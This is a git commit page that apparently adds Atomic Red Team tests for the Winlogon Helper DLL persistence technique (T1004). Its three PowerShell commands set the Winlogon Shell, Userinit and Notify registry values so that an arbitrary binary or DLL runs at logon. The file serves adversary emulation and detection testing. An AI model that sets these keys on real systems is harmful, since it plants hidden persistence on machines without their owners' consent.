T1004 Winlogon Helper DLLs (#427)
This commit is contained in:
committed by
Zac Brown
parent
5da497ed1d
commit
0f576dd03f
@@ -0,0 +1,59 @@
|
||||
---
|
||||
attack_technique: T1004
|
||||
display_name: Winlogon Helper DLL
|
||||
|
||||
atomic_tests:
|
||||
- name: Winlogon Shell Key Persistence - PowerShell
|
||||
description: |
|
||||
PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.
|
||||
|
||||
supported_platforms:
|
||||
- windows
|
||||
|
||||
input_arguments:
|
||||
binary_to_execute:
|
||||
description: Path of binary to execute
|
||||
type: Path
|
||||
default: C:\Windows\System32\cmd.exe
|
||||
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force
|
||||
|
||||
- name: Winlogon Userinit Key Persistence - PowerShell
|
||||
description: |
|
||||
PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.
|
||||
|
||||
supported_platforms:
|
||||
- windows
|
||||
|
||||
input_arguments:
|
||||
binary_to_execute:
|
||||
description: Path of binary to execute
|
||||
type: Path
|
||||
default: C:\Windows\System32\cmd.exe
|
||||
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force
|
||||
|
||||
- name: Winlogon Notify Key Logon Persistence - PowerShell
|
||||
description: |
|
||||
PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.
|
||||
|
||||
supported_platforms:
|
||||
- windows
|
||||
|
||||
input_arguments:
|
||||
binary_to_execute:
|
||||
description: Path of notification package to execute
|
||||
type: Path
|
||||
default: C:\Windows\Temp\atomicNotificationPackage.dll
|
||||
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
|
||||
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
|
||||
Reference in New Issue
Block a user